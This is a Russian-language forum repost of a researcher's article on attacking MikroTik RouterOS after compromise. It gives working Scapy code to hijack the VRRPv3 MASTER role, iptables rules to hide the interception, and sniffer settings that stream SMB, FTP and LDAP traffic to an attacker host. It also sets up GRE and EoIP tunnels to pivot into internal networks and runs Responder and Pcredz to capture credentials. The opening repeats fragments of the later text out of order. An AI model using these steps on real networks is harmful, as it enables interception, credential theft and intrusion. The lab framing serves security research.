stihl не предоставил(а) никакой дополнительной информации.
Это авторское исследование о безопасности оборудования MikroTik с точки зрения атакующего. Оборудование MikroTik крайне популярно и нередко становится жертвой разных атак. Я сделаю акцент на постэксплуатации. Также затрону проблему безопасности защитных механизмов RouterOS, недостатками которых пользуются атакующие.
Почему у девайсов MikroTik нет таких важных функций безопасности — непонятно. Такое ощущение, что их ПО застряло в девяностых.
Для просмотра ссылки Войдиили Зарегистрируйся
По своему опыту скажу, что в RouterOS в большинстве случаев используется конфигурация VRRPv3 по умолчанию, администраторы в основном настраивают только приоритет и номер группы, а версию и аутентификацию обычно не затрагивают. Это и открывает дорогу для эксплуатации со стороны атакующего.
Ниже — пример такой конфигурации по умолчанию.
Для просмотра ссылки Войдиили Зарегистрируйся
Спуфинг MASTER-роли в VRRP приводит к MITM-атаке в отношении целой подсети, что может быть очень критично во время пентеста. Становится возможным перехват чувствительных данных, атака Evil Twin, даже Relay-атаки против сетей Windows.
Вот пример пакета VRRP. В контексте домена VRRP-пакеты отправляет только MASTER-устройство.
Для просмотра ссылки Войдиили Зарегистрируйся
Здесь мы видим, что:
В качестве лабораторного стенда выступает следующая сеть.
Схема лабораторной сети с VRRPv3
Саму инъекцию я сделал с помощью Scapy, мне понадобился модуль scapy.layers.vrrp для работы с протоколом VRRP. Пакет будет выглядеть примерно следующим образом. Оставлю акцент на значениях именно слоя VRRPv3. На самом деле это часть кода всего спуфера, функция inject принимает входные данные на основе аргументов (я использовал библиотеку argparse).
def inject(interface, group, attackerip):
L2frame = Ether()
L3packet = IP(src=args.attackerip, dst="224.0.0.18", ttl=255)
vrrpv3inj = VRRPv3(version=3, type=1, vrid=args.group, priority=255, ipcount=1, addrlist=['10.10.100.254'])
crafted = L2frame / L3packet / vrrpv3inj
sendp(crafted, iface=args.interface, inter=1, loop=1, verbose=1)
Здесь
или Зарегистрируйся, который генерирует и отправляет необходимые кадры GARP.
Прохождение трафика при асимметричной маршрутизации
Прохождение трафика после MASQUERADE на стороне атакующего
Сперва нужно удалить старый маршрут по умолчанию (для атакующего это был 10.10.100.254). Так как атакующий стал новым MASTER-маршрутизатором, мы — владельцы этого виртуального адреса (10.10.100.254), но при старом маршруте весь трафик замыкается на нашей ОС, что без дополнительной мороки вызывает DoS на легитимные хосты. Пропишем новый маршрут по умолчанию через 10.10.10.100 (это бывший MASTER-роутер), но даже несмотря на то, что мы отжали у него роль MASTER, он все равно сможет выполнить маршрутизацию трафика, куда нам нужно.
Также надо создать на интерфейсе вторичный адрес со значением VRRP Virtual IP Address (10.10.10.254). Опять же после атаки мы стали владельцами этого адреса.
Перехваченный NetNTLMv2-SSP пользователя claymore
Также важно, чтобы твое железо выдержало такую нагрузку: учитывай мощности процессора и скорость интерфейса. Такой спуфинг приводит к тому, что весь трафик подсети пойдет в твою сторону. Также можешь не бояться за чистоту этой атаки. Когда ты прекратишь VRRP-инъекцию, легитимные VRRP-роутеры снова проведут согласование и сеть вернется на круги своя. Да и Dead Timer в сетях VRRP обычно очень маленький, сеть быстро восстановится, и будет назначен легитимный MASTER.
или Зарегистрируйся». В ней я предлагаю новый способ организации быстрого L2-туннелирования против машин Windows. Главный элемент этой техники — виртуальный маршрутизатор MikroTik CHR, возможности которого позволяют обеспечить перемещение по сети.
или Зарегистрируйся продемонстрировал технику перехвата трафика с устройств Cisco с использованием SPAN. SPAN — это по факту аналог Packet Sniffer в RouterOS и выполняет те же функции, однако при настройке классического SPAN на коммутаторе: порт перестает работать в обычном режиме, из‑за чего у атакующего теряется связность с сетью. Решение проблемы — использовать ERSPAN, который позволяет не только зеркалировать трафик, но и отправлять его куда угодно поверх GRE-инкапсуляции (0x88BE). Однако ERSPAN доступен только на оборудовании Cisco и в Linux.
Для просмотра ссылки Войдиили Зарегистрируйся
Но я нашел такой же вектор против RouterOS. Я буду использовать Packet Sniffer, который может выполнять зеркалирование трафика с любых интерфейсов RouterOS. Импакт здесь в том, что атакующий может прослушать чувствительную информацию, передаваемую внутри сети (например, SMB, FTP, LDAP). Развить атаку можно откуда угодно: зеркалированный трафик все равно сможет достичь хоста атакующего, так как используется TZSP-инкапсуляция, то есть зеркалированный трафик может передаваться поверх соединений L3.
Вот небольшой пример инкапсулированного FTP-трафика с TZSP.
FTP-трафик под TZSP-инкапсуляцией
Packet Sniffer из RouterOS как раз таки и использует TZSP для инкапсуляции полезной нагрузки. Именно благодаря этому зеркалированный трафик может передаваться поверх L3-соединений.
Конфигурация Packet Sniffer будет выглядеть следующим образом:
Здесь 10.10.100.90 — IP-адрес атакующего хоста. Трафик будет зеркалироваться со всех интерфейсов, зеркалируются только SMB, FTP и LDAP.
Схема зеркалирования
Для этого есть инструмент tzsp2pcap. Он позволяет удалять TZSP-заголовки и экспортировать трафик в формате pcap. В данном примере я буду использовать Wireshark, в котором внедрю полученный трафик без заголовков TZSP:
Для демонстрации я инициировал подключение по FTP, чтобы проверить работоспособность такого вектора. Итог — на скриншоте.
Для просмотра ссылки Войдиили Зарегистрируйся
Таким образом атакующий может перехватывать трафик внутри инфраструктуры, при этом не создавая избыточный хоп. Снова довольно специфический вектор, но он имеет право на существование.
Это протокол туннелирования L4, который позволяет быстро организовать соединения site-to-site VPN. Получил известность благодаря тому, что настраивается быстро и очень просто. Разработан инженерами Cisco Systems, однако поддерживается любым вендором. По умолчанию GRE не предоставляет функций для шифрования трафика внутри туннеля. Поэтому если он и используется в продакшене, то, скорее всего, с группой протоколов IPSec.
При постэксплуатации RouterOS атакующий может воспользоваться GRE-туннелированием, чтобы попасть внутрь инфраструктуры. Этот сценарий работает именно с пограничным маршрутизатором.
Примерно так будет выглядеть карта пивотинга. Атакующий должен установить GRE-туннель между своей нодой и RouterOS, затем на логических интерфейсах необходимо настроить внутренние IP-адреса для сетевой связности. Затем, после перечисления таблицы маршрутизации, атакующий может создать специальные маршруты, ведущие внутрь инфраструктуры, и при этом шлюзом для таких маршрутов будет выступать другая сторона GRE-туннеля.
GRE между атакующим и RouterOS
А это пример инкапсулированной полезной нагрузки. Здесь атакующий проводит ICMP-сканирование внутренней сети 10.10.160.0/24 поверх GRE-туннеля. Тут можно увидеть GRE-инкапсуляцию с внутренним IPv4-заголовком ICMP. Однако по факту здесь присутствуют два заголовка IPv4. Почему? Потому что первый IPv4-заголовок с белыми IP-адресами — это пакет‑курьер. Он позволяет достичь адресата, находящегося во внутренней сети. То есть главная задача этого заголовка в том, чтобы полезная нагрузка из внутренней сети дошла до адресата через интернет. В терминологии GRE такой заголовок называется Delivery Header. Для каждого протокола‑пассажира присутствует специальный Protocol Type, для IPv4 это значение равно 0x0800.
ICMP-сканирование внутри GRE-туннеля
Настройка на стороне атакующего будет выглядеть следующим образом. Создание GRE-интерфейса, настройка адресов начала и терминирования туннеля и сама активация интерфейса с внутренней IP-адресацией.
Настройка RouterOS тоже не вызывает проблем — тот же принцип, отличия лишь в синтаксисе:
После установки туннеля атакующий должен создать специальные маршруты сквозь RouterOS, а именно через 10.10.10.2. В контексте нашего лабораторного стенда за пограничным RouterOS находятся три подсети:
Теперь атакующий может взаимодействовать с внутренней инфраструктурой и расширять свое присутствие в сети цели. Вот пример Nmap-сканирования против сети 10.10.140.0/24:
Результат сканирования атакующего поверх GRE
На самом деле это не последний вектор туннелирования. Есть еще EoIP, он позволяет транслировать Ethernet-фреймы внутри GRE, а это вектор для L2-туннелирования.
EoIP (Ethernet over IP) — это проприетарный протокол MikroTik, позволяющий строить L2-туннели поверх интернета, но для этого используется GRE-инкапсуляция. По факту EoIP — это абсолютно то же самое, что и GRETAP-интерфейсы на Linux, различия лишь в Proto Type (для EoIP в GRE это значение 0x6400, для GRETAP-туннелей — 0x6558).
При постэксплуатации RouterOS атакующий может построить L2-туннель между собой и целевым бриджем с помощью EoIP, однако для работы EoIP в дистрибутивах Linux нужен модуль Для просмотра ссылки Войдиили Зарегистрируйся. Атакующему достаточно создать EoIP-интерфейс в RouterOS, затем поместить его внутрь бриджа (в 90% случаях в конфигурациях RouterOS используются бриджи).
На своей стороне атакующему достаточно собрать модуль из репозитория и запустить интерфейс, при этом создав TAP-интерфейс для корректной работы Для просмотра ссылки Войдиили Зарегистрируйся.
Схема туннелирования будет выглядеть следующим образом.
Карта EoIP-туннелирования
Атакующий из интернета может оказаться в целевой сети на уровне L2, но это крайне специфический сценарий и имеет право на существование только в момент постэксплуатации.
Настройки на стороне атакующего выглядят следующим образом: создается TAP-интерфейс, запускается модуль, туннелю задается ID 11.
На стороне RouterOS идентичная ситуация, но при этом нужно поместить созданный EoIP-интерфейс в существующий бридж внутри RouterOS для получения L2-доступа.
Туннель EoIP уже установлен, задача атакующего — получить адрес на TAP-интерфейсе, после чего он может взаимодействовать с целевой сетью и проводить атаки канального уровня. Причем по DHCP может передаться адрес шлюза по умолчанию из другой сети, а это нарушает сетевую связность, так что этот маршрут нужно будет удалить:
Теперь атакующий может проводить L2-атаки. Вот пример работы Responder внутри EoIP-туннеля:
Перехваченный NetNTLMv2-SSP пользователя user
warning
Проблемы сетевой безопасности
У RouterOS есть несколько проблем сетевой безопасности. Давай посмотрим, на какие из них стоит обратить внимание в первую очередь.DAI
RouterOS не в состоянии защитить сеть от ARP Spoofing за исключением использования режима reply-only в конфигурации bridge. По факту этот режим работы представляет собой статическую ARP-таблицу, которую в корпоративных сетях вести нерентабельно, так как при появлении каждого нового хоста придется заходить на устройство и заносить MAC и IP вручную. Способ действенный, однако малопривлекательный из‑за больших неудобств. Поэтому, встретив оборудование MikroTik, атакующий в большинстве случаев может не отказывать себе в ARP-спуфинге: ему не стоит ожидать внезапной тревоги ARP Inspection, ведь этого механизма в RouterOS, по сути, нет.RA Guard
RA Guard представляет собой функцию безопасности, которая отсекает несанкционированные router advertisements внутри сети с целью предотвращения MITM-атак. RA Guard полностью отсутствует в RouterOS и Switch OS, оборудованию абсолютно нечем ответить на популярный инструмент пентестеров — mitm6. Единственный вариант, который остается, — фильтровать на уровне бриджа по MAC-адресам назначения.Почему у девайсов MikroTik нет таких важных функций безопасности — непонятно. Такое ощущение, что их ПО застряло в девяностых.
Абьюз DP
RouterOS по умолчанию выполняет рассылку Discovery-протоколов, которые могут раскрыть чувствительную информацию о себе потенциальному атакующему. В RouterOS активны три Discovery-протокола:- CDP (Cisco Discovery Protocol);
- LLDP (Link Layer Discovery Protocol);
- MNDP (MikroTik Neighbor Discovery Protocol).
Для просмотра ссылки Войди
Спуфинг в системе резервирования VRRPv3
VRRP (Virtual Router Redundancy Protocol) — это протокол резервирования маршрутизаторов на уровне L3, в его основе лежит принцип создания виртуального маршрутизатора за счет объединения физических маршрутизаторов в одну логическую группу. Затем созданному виртуальному роутеру присваивается IP-адрес, который, в свою очередь, назначается как шлюз по умолчанию для конечных станций.По своему опыту скажу, что в RouterOS в большинстве случаев используется конфигурация VRRPv3 по умолчанию, администраторы в основном настраивают только приоритет и номер группы, а версию и аутентификацию обычно не затрагивают. Это и открывает дорогу для эксплуатации со стороны атакующего.
Ниже — пример такой конфигурации по умолчанию.
Для просмотра ссылки Войди
Спуфинг MASTER-роли в VRRP приводит к MITM-атаке в отношении целой подсети, что может быть очень критично во время пентеста. Становится возможным перехват чувствительных данных, атака Evil Twin, даже Relay-атаки против сетей Windows.
Перечисление информации
Прежде чем использовать другие техники, нужно провести перечисление информации о домене VRRP. Нужны данные об используемом виртуальном адресе, наличии аутентификации, номере группы VRRP и значении приоритета.Вот пример пакета VRRP. В контексте домена VRRP-пакеты отправляет только MASTER-устройство.
Для просмотра ссылки Войди
Здесь мы видим, что:
- используется третья версия VRRP;
- отсутствует аутентификация (типично для VRRPv3);
- номер группы VRRP — 1;
- приоритет — 190.
Инъекция
Главный аспект этой атаки — инъекция вредоносного пакета VRRPv3 с максимальным значением приоритета. Есть даже такая практика безопасности, где рекомендуется ставить наивысший приоритет 255, однако для VRRP можно установить такое значение максимум до 254, так как значение 255 уходит занимаемому мастеру. После такой инъекции атакующий перехватывает роль MASTER и начинает сам обслуживать трафик сети. Даже несмотря на то, что возникает MITM, нельзя нарушать нормальное функционирование сети, а поэтому придется поработать над схемой маршрутизации на хосте атакующего.В качестве лабораторного стенда выступает следующая сеть.
Саму инъекцию я сделал с помощью Scapy, мне понадобился модуль scapy.layers.vrrp для работы с протоколом VRRP. Пакет будет выглядеть примерно следующим образом. Оставлю акцент на значениях именно слоя VRRPv3. На самом деле это часть кода всего спуфера, функция inject принимает входные данные на основе аргументов (я использовал библиотеку argparse).
def inject(interface, group, attackerip):
L2frame = Ether()
L3packet = IP(src=args.attackerip, dst="224.0.0.18", ttl=255)
vrrpv3inj = VRRPv3(version=3, type=1, vrid=args.group, priority=255, ipcount=1, addrlist=['10.10.100.254'])
crafted = L2frame / L3packet / vrrpv3inj
sendp(crafted, iface=args.interface, inter=1, loop=1, verbose=1)
Здесь
- type=1 значит, что этот VRRP-пакет выполняет роль объявления Advertisement;
- priority=255 — максимальный приоритет для инъекции;
- ipcount=1 — количество IP-адресов у MASTER-устройства. Атакующий будет владеть только одним IP-адресом;
- addrlist=['10.10.100.254'] указывает на то, каким IP-адресом будет владеть атакующий при перехвате MASTER-роли, оформляется в виде списка в коде на Python;
- inter=1 — пакет VRRPv3 будет генерироваться каждую секунду, поскольку легитимный девайс тоже отправляет их каждую секунду. Грубо говоря, это специальные Hello-сообщения, которые оповещают, что MASTER в порядке и продолжает свою работу. Однако, если в течение трех секунд сообщения не последует, один из резервных роутеров заменит MASTER;
- loop=1 указывает на то, что пакет будет отправляться бесконечно.
GARP-кадр
Когда роутеры меняются ролями, они отправляют специальные сообщения Gratuitous ARP, которые объявляют на весь VLAN, что возникла новая привязка IP и MAC-адреса, специальная модификация ARP-кадра. Когда новое устройство становится MASTER, ему необходимо объявить это и на уровне ARP, с помощью GARP-рассылки. Атакующему тоже предстоит это сделать, чтобы избежать DoS. Для этого у меня есть инструмент Для просмотра ссылки Войдиcaster@kali:~$ sudo python3 Cruelty.py --interface ethX --mac XX:XX:XX:XX:XX:XX --gateway X.X.X.XУклонение от трассировки
Со стороны пользовательского компьютера можно определить атакующего в тот момент, когда он проводит трассировку. Атакующий может избежать этого, если сместит TTL с инкрементом +1 в таблице Mangle и в цепочке PREROUTING.caster@kali:~$ sudo iptables -t mangle -A PREROUTING -i ethX -j TTL --ttl-inc 1Проблема асимметричной маршрутизации
Во время MITM-атаки возникает асимметричная маршрутизация — явление, при котором трафик отправляется одним путем, а возвращается другим. Это может привести к тому, что атакующий пропустит мимо себя другую половину трафика, потенциально потеряв чувствительные данные. Чтобы решить эту проблему, необходимо специальное правило MASQUERADE в таблице NAT, в цепочке POSTROUTING.caster@kali:~$ sudo iptables -t nat -A POSTROUTING -o ethX -j MASQUERADE
Маршрутизация
После инжекта необходимо заняться небольшим роутинг‑менеджментом.Сперва нужно удалить старый маршрут по умолчанию (для атакующего это был 10.10.100.254). Так как атакующий стал новым MASTER-маршрутизатором, мы — владельцы этого виртуального адреса (10.10.100.254), но при старом маршруте весь трафик замыкается на нашей ОС, что без дополнительной мороки вызывает DoS на легитимные хосты. Пропишем новый маршрут по умолчанию через 10.10.10.100 (это бывший MASTER-роутер), но даже несмотря на то, что мы отжали у него роль MASTER, он все равно сможет выполнить маршрутизацию трафика, куда нам нужно.
caster@kali:~$ sudo route del defaultcaster@kali:~$ sudo route add -net 0.0.0.0 netmask 0.0.0.0 gw 10.10.100.100Также надо создать на интерфейсе вторичный адрес со значением VRRP Virtual IP Address (10.10.10.254). Опять же после атаки мы стали владельцами этого адреса.
caster@kali:~$ sudo ifconfig eth0:1 10.10.100.254 netmask 255.255.255.0Импакт
После всех этих манипуляций атакующий воспроизводит MITM и может прослушивать трафик внутреннего сегмента, в котором сам и находится. Облегчить поиск учетных данных в трафике может инструмент Pcredz:caster@kali:~/mikrotiknightmare/Pcredz$ sudo python3 Pcredz -i eth0
Также важно, чтобы твое железо выдержало такую нагрузку: учитывай мощности процессора и скорость интерфейса. Такой спуфинг приводит к тому, что весь трафик подсети пойдет в твою сторону. Также можешь не бояться за чистоту этой атаки. Когда ты прекратишь VRRP-инъекцию, легитимные VRRP-роутеры снова проведут согласование и сеть вернется на круги своя. Да и Dead Timer в сетях VRRP обычно очень маленький, сеть быстро восстановится, и будет назначен легитимный MASTER.
Extreme Windows Pivoting
Читай также мою статью «Для просмотра ссылки ВойдиRouterOS Traffic Hijacking
Я покажу специфический вектор атаки при постэксплуатации, при котором атакующий может перехватывать трафик внутри инфраструктуры, не влияя на нормальную работу сети.GreenDog — Easy Hack #196 (Caster Bootleg)
Исследователь безопасности Алексей Тюрин в своем релизе Для просмотра ссылки ВойдиДля просмотра ссылки Войди
Но я нашел такой же вектор против RouterOS. Я буду использовать Packet Sniffer, который может выполнять зеркалирование трафика с любых интерфейсов RouterOS. Импакт здесь в том, что атакующий может прослушать чувствительную информацию, передаваемую внутри сети (например, SMB, FTP, LDAP). Развить атаку можно откуда угодно: зеркалированный трафик все равно сможет достичь хоста атакующего, так как используется TZSP-инкапсуляция, то есть зеркалированный трафик может передаваться поверх соединений L3.
TZSP
TZSP (Tazmen Sniffer Protocol) — сетевой протокол инкапсуляции, который может заворачивать в себя другие сетевые протоколы, грубо говоря — обрамляет полезную нагрузку. Обычно используется в сетях 802.11, может работать с IDS. TZSP использует для инкапсуляции протокол UDP, значит, не исключены потери. TZSP способен инкапсулировать сетевой трафик, начиная с уровня L2, то есть может передавать Ethernet-фреймы.Вот небольшой пример инкапсулированного FTP-трафика с TZSP.
Packet Sniffer из RouterOS как раз таки и использует TZSP для инкапсуляции полезной нагрузки. Именно благодаря этому зеркалированный трафик может передаваться поверх L3-соединений.
Угон трафика
Для такой атаки злоумышленник должен определить следующие параметры:- IP-адрес streaming-сервера, куда будет поступать зеркалированный трафик;
- целевые интерфейсы, с которых будет проводиться зеркалирование;
- номер порта того протокола, которым интересуется атакующий.
Конфигурация Packet Sniffer будет выглядеть следующим образом:
[caster@MikroTikNightmare] /tool/sniffer> set streaming-enabled=yes filter-stream=yes streaming-server=10.10.100.90 filter-interface=all filter-port=ftp,smb,ldap[caster@MikroTikNightmare] /tool/sniffer> startЗдесь 10.10.100.90 — IP-адрес атакующего хоста. Трафик будет зеркалироваться со всех интерфейсов, зеркалируются только SMB, FTP и LDAP.
Обработка TZSP-заголовков
После запуска сниффера зеркалируемый трафик будет поступать на интерфейс атакующего хоста, однако трафик необходимо обработать, срезать TZSP-заголовки, поскольку нужды в них больше нет и они могут доставить хлопот.Для этого есть инструмент tzsp2pcap. Он позволяет удалять TZSP-заголовки и экспортировать трафик в формате pcap. В данном примере я буду использовать Wireshark, в котором внедрю полученный трафик без заголовков TZSP:
caster@kali:~$ tzsp2pcap -f | wireshark -k -i -Для демонстрации я инициировал подключение по FTP, чтобы проверить работоспособность такого вектора. Итог — на скриншоте.
Для просмотра ссылки Войди
Таким образом атакующий может перехватывать трафик внутри инфраструктуры, при этом не создавая избыточный хоп. Снова довольно специфический вектор, но он имеет право на существование.
RouterOS Pivoting
Настало время поговорить о пивотинге сквозь RouterOS. Это вектор постэксплуатации, при котором атакующий может пробиться внутрь инфраструктуры.L3 GRE VPN
Один из вариантов для пивотинга — использовать протокол GRE.Это протокол туннелирования L4, который позволяет быстро организовать соединения site-to-site VPN. Получил известность благодаря тому, что настраивается быстро и очень просто. Разработан инженерами Cisco Systems, однако поддерживается любым вендором. По умолчанию GRE не предоставляет функций для шифрования трафика внутри туннеля. Поэтому если он и используется в продакшене, то, скорее всего, с группой протоколов IPSec.
При постэксплуатации RouterOS атакующий может воспользоваться GRE-туннелированием, чтобы попасть внутрь инфраструктуры. Этот сценарий работает именно с пограничным маршрутизатором.
Примерно так будет выглядеть карта пивотинга. Атакующий должен установить GRE-туннель между своей нодой и RouterOS, затем на логических интерфейсах необходимо настроить внутренние IP-адреса для сетевой связности. Затем, после перечисления таблицы маршрутизации, атакующий может создать специальные маршруты, ведущие внутрь инфраструктуры, и при этом шлюзом для таких маршрутов будет выступать другая сторона GRE-туннеля.
А это пример инкапсулированной полезной нагрузки. Здесь атакующий проводит ICMP-сканирование внутренней сети 10.10.160.0/24 поверх GRE-туннеля. Тут можно увидеть GRE-инкапсуляцию с внутренним IPv4-заголовком ICMP. Однако по факту здесь присутствуют два заголовка IPv4. Почему? Потому что первый IPv4-заголовок с белыми IP-адресами — это пакет‑курьер. Он позволяет достичь адресата, находящегося во внутренней сети. То есть главная задача этого заголовка в том, чтобы полезная нагрузка из внутренней сети дошла до адресата через интернет. В терминологии GRE такой заголовок называется Delivery Header. Для каждого протокола‑пассажира присутствует специальный Protocol Type, для IPv4 это значение равно 0x0800.
Настройка на стороне атакующего будет выглядеть следующим образом. Создание GRE-интерфейса, настройка адресов начала и терминирования туннеля и сама активация интерфейса с внутренней IP-адресацией.
caster@kali:~$ sudo ip link add name evilgre type gre local 212.100.144.150 remote 100.132.55.140caster@kali:~$ sudo ip addr add 10.10.10.1/24 dev evilgrecaster@kali:~$ sudo ip link set evilgre upНастройка RouterOS тоже не вызывает проблем — тот же принцип, отличия лишь в синтаксисе:
[pwned@BORDER] > /interface/gre add name=gre1 local-address=100.132.55.140 remote-address=212.100.144.150[pwned@BORDER] > /ip/address add address=10.10.10.2/24 interface=gre1После установки туннеля атакующий должен создать специальные маршруты сквозь RouterOS, а именно через 10.10.10.2. В контексте нашего лабораторного стенда за пограничным RouterOS находятся три подсети:
- 10.10.120.0/24;
- 10.10.140.0/24;
- 10.10.160.0/24.
caster@kali:~$ sudo route add -net 10.10.120.0 netmask 255.255.255.0 gw 10.10.10.2caster@kali:~$ sudo route add -net 10.10.140.0 netmask 255.255.255.0 gw 10.10.10.2caster@kali:~$ sudo route add -net 10.10.160.0 netmask 255.255.255.0 gw 10.10.10.2Теперь атакующий может взаимодействовать с внутренней инфраструктурой и расширять свое присутствие в сети цели. Вот пример Nmap-сканирования против сети 10.10.140.0/24:
caster@kali:~$ sudo nmap -n 10.10.140.0/24 -vvv
На самом деле это не последний вектор туннелирования. Есть еще EoIP, он позволяет транслировать Ethernet-фреймы внутри GRE, а это вектор для L2-туннелирования.
L2 EoIP VPN
Это специфический вектор, при котором атакующий строит L2-туннель сквозь скомпрометированную RouterOS между своим хостом и находящейся по ту сторону сетью.EoIP (Ethernet over IP) — это проприетарный протокол MikroTik, позволяющий строить L2-туннели поверх интернета, но для этого используется GRE-инкапсуляция. По факту EoIP — это абсолютно то же самое, что и GRETAP-интерфейсы на Linux, различия лишь в Proto Type (для EoIP в GRE это значение 0x6400, для GRETAP-туннелей — 0x6558).
При постэксплуатации RouterOS атакующий может построить L2-туннель между собой и целевым бриджем с помощью EoIP, однако для работы EoIP в дистрибутивах Linux нужен модуль Для просмотра ссылки Войди
На своей стороне атакующему достаточно собрать модуль из репозитория и запустить интерфейс, при этом создав TAP-интерфейс для корректной работы Для просмотра ссылки Войди
Схема туннелирования будет выглядеть следующим образом.
Атакующий из интернета может оказаться в целевой сети на уровне L2, но это крайне специфический сценарий и имеет право на существование только в момент постэксплуатации.
Настройки на стороне атакующего выглядят следующим образом: создается TAP-интерфейс, запускается модуль, туннелю задается ID 11.
caster@kali:~$ sudo ip tuntap add mode tap tap0caster@kali:~$ sudo ip link set tap0 upcaster@kali:~/eoip$ sudo ./eoip tap0 100.132.55.100 212.100.144.100:11На стороне RouterOS идентичная ситуация, но при этом нужно поместить созданный EoIP-интерфейс в существующий бридж внутри RouterOS для получения L2-доступа.
[caster@MikroTikNightmare] /interface/eoip> add name=nightmare local-address=212.100.144.100 remote-address=100.132.55.100 tunnel-id=11[caster@MikroTikNightmare] /interface/bridge/port> add interface=nightmare bridge=LAN-BRТуннель EoIP уже установлен, задача атакующего — получить адрес на TAP-интерфейсе, после чего он может взаимодействовать с целевой сетью и проводить атаки канального уровня. Причем по DHCP может передаться адрес шлюза по умолчанию из другой сети, а это нарушает сетевую связность, так что этот маршрут нужно будет удалить:
caster@kali:~$ sudo dhclient -v tap0; sudo route del defaultТеперь атакующий может проводить L2-атаки. Вот пример работы Responder внутри EoIP-туннеля:
caster@kali:~$ sudo responder -I tap0 -vvv